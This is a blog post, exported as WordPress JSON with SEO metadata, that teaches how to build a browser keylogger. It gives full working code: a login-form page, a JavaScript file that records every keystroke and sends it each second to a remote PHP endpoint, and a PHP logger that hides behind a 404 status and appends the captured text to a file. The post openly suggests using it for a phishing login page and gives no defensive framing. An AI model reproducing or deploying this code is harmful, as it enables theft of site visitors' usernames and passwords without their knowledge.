{"id":2985,"date":"2022-09-03T09:38:38","date_gmt":"2022-09-03T04:38:38","guid":{"rendered":"https:\/\/www.edopedia.com\/blog\/?p=2985"},"modified":"2022-09-03T09:38:41","modified_gmt":"2022-09-03T04:38:41","slug":"javascript-keylogger-tutorial","status":"publish","type":"post","link":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/","title":{"rendered":"JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript"},"content":{"rendered":"\n<p><strong>JavaScript keylogger<\/strong> is a tool that enables us to see what a user has typed on his\/her keyboard. Today, I will show you <strong>how to make a simple keylogger using JavaScript<\/strong>.<\/p>\n\n\n\n<p>Basically, our <strong>JavaScript Keylogger<\/strong> will capture the keystrokes of users in a text file. We can then review this text file to look at what the user has typed on the keyboard.<\/p>\n\n\n\n<p>You can also put this script on your website to make a phishing website login page.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">JavaScript Keylogger<\/h2>\n\n\n\n<h2 class=\"wp-block-heading\">index.html<\/h2>\n\n\n\n<p>For the sake of this tutorial, I created a complete HTML web page including a login form. But, you just need to load the <code>keylogger.js<\/code> file using the HTML <code>&lt;script><\/code> tag. You can design your HTML web page however you like.<\/p>\n\n\n\n<div class=\"wp-block-codemirror-blocks-code-block code-block\"><pre class=\"CodeMirror\" data-setting=\"{&quot;showPanel&quot;:true,&quot;languageLabel&quot;:&quot;language&quot;,&quot;fullScreenButton&quot;:true,&quot;copyButton&quot;:true,&quot;mode&quot;:&quot;htmlmixed&quot;,&quot;mime&quot;:&quot;text\/html&quot;,&quot;theme&quot;:&quot;material&quot;,&quot;lineNumbers&quot;:true,&quot;styleActiveLine&quot;:true,&quot;lineWrapping&quot;:false,&quot;readOnly&quot;:true,&quot;fileName&quot;:&quot;&quot;,&quot;language&quot;:&quot;HTML&quot;,&quot;maxHeight&quot;:&quot;400px&quot;,&quot;modeName&quot;:&quot;html&quot;}\">&lt;!DOCTYPE html&gt;\n&lt;html lang=&quot;en&quot;&gt;\n\n&lt;head&gt;\n    &lt;meta charset=&quot;UTF-8&quot;&gt;\n    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;\n    &lt;title&gt;JavaScript Keylogger&lt;\/title&gt;\n    &lt;script src=&quot;.\/keylogger.js&quot;&gt;&lt;\/script&gt;\n&lt;\/head&gt;\n\n&lt;body&gt;\n    &lt;form&gt;\n        &lt;div class=&quot;login&quot;&gt;\n            &lt;h1&gt;Account Login Form&lt;\/h1&gt;\n            &lt;input type=&quot;email&quot; placeholder=&quot;Username&quot; &gt;&lt;br&gt;&lt;br&gt;\n            &lt;input type=&quot;password&quot; placeholder=&quot;Password&quot;&gt;&lt;br&gt;&lt;br&gt;\n            &lt;button type=&quot;submit&quot;&gt;Login&lt;\/button&gt;\n        &lt;\/div&gt;\n    &lt;\/form&gt;\n&lt;\/body&gt;\n\n&lt;\/html&gt;<\/pre><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">keylogger.js<\/h2>\n\n\n\n<p><strong>Note:-<\/strong> Replace the value of <code>url<\/code> variable with your website link where the <code>keylogger.php<\/code> is located.<\/p>\n\n\n\n<div class=\"wp-block-codemirror-blocks-code-block code-block\"><pre class=\"CodeMirror\" data-setting=\"{&quot;showPanel&quot;:true,&quot;languageLabel&quot;:&quot;language&quot;,&quot;fullScreenButton&quot;:true,&quot;copyButton&quot;:true,&quot;mode&quot;:&quot;javascript&quot;,&quot;mime&quot;:&quot;text\/javascript&quot;,&quot;theme&quot;:&quot;material&quot;,&quot;lineNumbers&quot;:true,&quot;styleActiveLine&quot;:true,&quot;lineWrapping&quot;:false,&quot;readOnly&quot;:true,&quot;fileName&quot;:&quot;&quot;,&quot;language&quot;:&quot;JavaScript&quot;,&quot;maxHeight&quot;:&quot;400px&quot;,&quot;modeName&quot;:&quot;js&quot;}\">var keys='';\nvar url = 'https:\/\/www.edopedia.com\/keylogger.php?c=';\n\ndocument.onkeypress = function(e) {\n\tget = window.event?event:e;\n\tkey = get.keyCode?get.keyCode:get.charCode;\n\tkey = String.fromCharCode(key);\n\tkeys+=key;\n}\nwindow.setInterval(function(){\n\tif(keys.length&gt;0) {\n\t\tnew Image().src = url+keys;\n\t\tkeys = '';\n\t}\n}, 1000);<\/pre><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">keylogger.php<\/h2>\n\n\n\n<div class=\"wp-block-codemirror-blocks-code-block code-block\"><pre class=\"CodeMirror\" data-setting=\"{&quot;showPanel&quot;:true,&quot;languageLabel&quot;:&quot;language&quot;,&quot;fullScreenButton&quot;:true,&quot;copyButton&quot;:true,&quot;mode&quot;:&quot;php&quot;,&quot;mime&quot;:&quot;text\/x-php&quot;,&quot;theme&quot;:&quot;material&quot;,&quot;lineNumbers&quot;:true,&quot;styleActiveLine&quot;:true,&quot;lineWrapping&quot;:false,&quot;readOnly&quot;:true,&quot;fileName&quot;:&quot;&quot;,&quot;language&quot;:&quot;PHP&quot;,&quot;maxHeight&quot;:&quot;400px&quot;,&quot;modeName&quot;:&quot;php&quot;}\">&lt;html&gt;\n\n&lt;?php\n\nheader($_SERVER[&quot;SERVER_PROTOCOL&quot;].&quot; 404 Not Found&quot;, true, 404);\nheader('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');\nheader('Access-Control-Allow-Credentials: true');\nheader('Access-Control-Allow-Origin: *');\nheader('Access-Control-Allow-Headers: Content-Type, *');\n\n$file = 'data.txt';\n\nif(isset($_REQUEST['c']) &amp;&amp; !empty($_REQUEST['c']))\n{\n\tfile_put_contents($file, $_REQUEST['c'], FILE_APPEND);\n\tprintf(&quot;LOGGED!&quot;);\n}\n\n?&gt;\n\n&lt;\/html&gt;<\/pre><\/div>\n\n\n\n<h2 class=\"wp-block-heading\">data.txt<\/h2>\n\n\n\n<p>Our JavaScript Keylogger will store the keystrokes in a file called \u201cdata.txt\u201d. So, let&#8217;s <strong>create an empty \u201cdata.txt\u201d file on your server<\/strong>.<\/p>\n\n\n\n<p>Now, whenever the visitor types something using the keyboard on your website then the JavaScript will automatically send each keystroke to the PHP file on the server and our PHP code will store the keystrokes inside the \u201cdata.txt\u201d file.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>JavaScript keylogger is a tool that enables us to see what a user has typed on his\/her keyboard. Today, I will show you how to make a simple keylogger using JavaScript. Basically, our JavaScript Keylogger will capture the keystrokes of users in a text file. We can then review this text file to look at &#8230; <a title=\"JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript\" class=\"read-more\" href=\"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/\" aria-label=\"Read more about JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":2987,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[112],"tags":[],"class_list":["post-2985","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tutorials"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.2 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript<\/title>\n<meta name=\"description\" content=\"JavaScript keylogger is a tool that enables us to see what a user has typed on his\/her keyboard. Today, I will show you how to make a simple keylogger\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript\" \/>\n<meta property=\"og:description\" content=\"JavaScript keylogger is a tool that enables us to see what a user has typed on his\/her keyboard. Today, I will show you how to make a simple keylogger\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/\" \/>\n<meta property=\"og:site_name\" content=\"Edopedia\" \/>\n<meta property=\"article:author\" content=\"trulyfurqan\" \/>\n<meta property=\"article:published_time\" content=\"2022-09-03T04:38:38+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-09-03T04:38:41+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.edopedia.com\/blog\/wp-content\/uploads\/2022\/09\/javascript_keylogger.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"880\" \/>\n\t<meta property=\"og:image:height\" content=\"495\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Furqan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Furqan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript","description":"JavaScript keylogger is a tool that enables us to see what a user has typed on his\/her keyboard. Today, I will show you how to make a simple keylogger","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/","og_locale":"en_US","og_type":"article","og_title":"JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript","og_description":"JavaScript keylogger is a tool that enables us to see what a user has typed on his\/her keyboard. Today, I will show you how to make a simple keylogger","og_url":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/","og_site_name":"Edopedia","article_author":"trulyfurqan","article_published_time":"2022-09-03T04:38:38+00:00","article_modified_time":"2022-09-03T04:38:41+00:00","og_image":[{"width":880,"height":495,"url":"https:\/\/www.edopedia.com\/blog\/wp-content\/uploads\/2022\/09\/javascript_keylogger.jpg","type":"image\/jpeg"}],"author":"Furqan","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Furqan","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/#article","isPartOf":{"@id":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/"},"author":{"name":"Furqan","@id":"https:\/\/www.edopedia.com\/blog\/#\/schema\/person\/3951cb19e3aa56df09e408c98aa02339"},"headline":"JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript","datePublished":"2022-09-03T04:38:38+00:00","dateModified":"2022-09-03T04:38:41+00:00","mainEntityOfPage":{"@id":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/"},"wordCount":219,"commentCount":0,"publisher":{"@id":"https:\/\/www.edopedia.com\/blog\/#organization"},"image":{"@id":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/#primaryimage"},"thumbnailUrl":"https:\/\/www.edopedia.com\/blog\/wp-content\/uploads\/2022\/09\/javascript_keylogger.jpg","articleSection":["Tutorials"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/","url":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/","name":"JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript","isPartOf":{"@id":"https:\/\/www.edopedia.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/#primaryimage"},"image":{"@id":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/#primaryimage"},"thumbnailUrl":"https:\/\/www.edopedia.com\/blog\/wp-content\/uploads\/2022\/09\/javascript_keylogger.jpg","datePublished":"2022-09-03T04:38:38+00:00","dateModified":"2022-09-03T04:38:41+00:00","description":"JavaScript keylogger is a tool that enables us to see what a user has typed on his\/her keyboard. Today, I will show you how to make a simple keylogger","breadcrumb":{"@id":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/#primaryimage","url":"https:\/\/www.edopedia.com\/blog\/wp-content\/uploads\/2022\/09\/javascript_keylogger.jpg","contentUrl":"https:\/\/www.edopedia.com\/blog\/wp-content\/uploads\/2022\/09\/javascript_keylogger.jpg","width":880,"height":495,"caption":"JavaScript Keylogger"},{"@type":"BreadcrumbList","@id":"https:\/\/www.edopedia.com\/blog\/javascript-keylogger-tutorial\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.edopedia.com\/blog\/"},{"@type":"ListItem","position":2,"name":"JavaScript Keylogger Tutorial | How to Make a Simple Keylogger in JavaScript"}]},{"@type":"WebSite","@id":"https:\/\/www.edopedia.com\/blog\/#website","url":"https:\/\/www.edopedia.com\/blog\/","name":"Edopedia","description":"Coding\/Programming Blog","publisher":{"@id":"https:\/\/www.edopedia.com\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.edopedia.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.edopedia.com\/blog\/#organization","name":"Edopedia","url":"https:\/\/www.edopedia.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.edopedia.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/www.edopedia.com\/blog\/wp-content\/uploads\/2017\/10\/edopedia_icon_text_10.jpg","contentUrl":"https:\/\/www.edopedia.com\/blog\/wp-content\/uploads\/2017\/10\/edopedia_icon_text_10.jpg","width":400,"height":100,"caption":"Edopedia"},"image":{"@id":"https:\/\/www.edopedia.com\/blog\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/www.edopedia.com\/blog\/#\/schema\/person\/3951cb19e3aa56df09e408c98aa02339","name":"Furqan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.edopedia.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/e5e68aef3ad8f0b83d56f4953c512c8e57bd2e6dc64daec33b5d0495d9058f51?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/e5e68aef3ad8f0b83d56f4953c512c8e57bd2e6dc64daec33b5d0495d9058f51?s=96&d=mm&r=g","caption":"Furqan"},"description":"Well. I've been working for the past three years as a web designer and developer. I have successfully created websites for small to medium sized companies as part of my freelance career. During that time I've also completed my bachelor's in Information Technology.","sameAs":["http:\/\/www.edopedia.com\/blog\/","trulyfurqan"],"url":"https:\/\/www.edopedia.com\/blog\/author\/furqan\/"}]}},"_links":{"self":[{"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/posts\/2985","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/comments?post=2985"}],"version-history":[{"count":2,"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/posts\/2985\/revisions"}],"predecessor-version":[{"id":2988,"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/posts\/2985\/revisions\/2988"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/media\/2987"}],"wp:attachment":[{"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/media?parent=2985"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/categories?post=2985"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.edopedia.com\/blog\/wp-json\/wp\/v2\/tags?post=2985"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}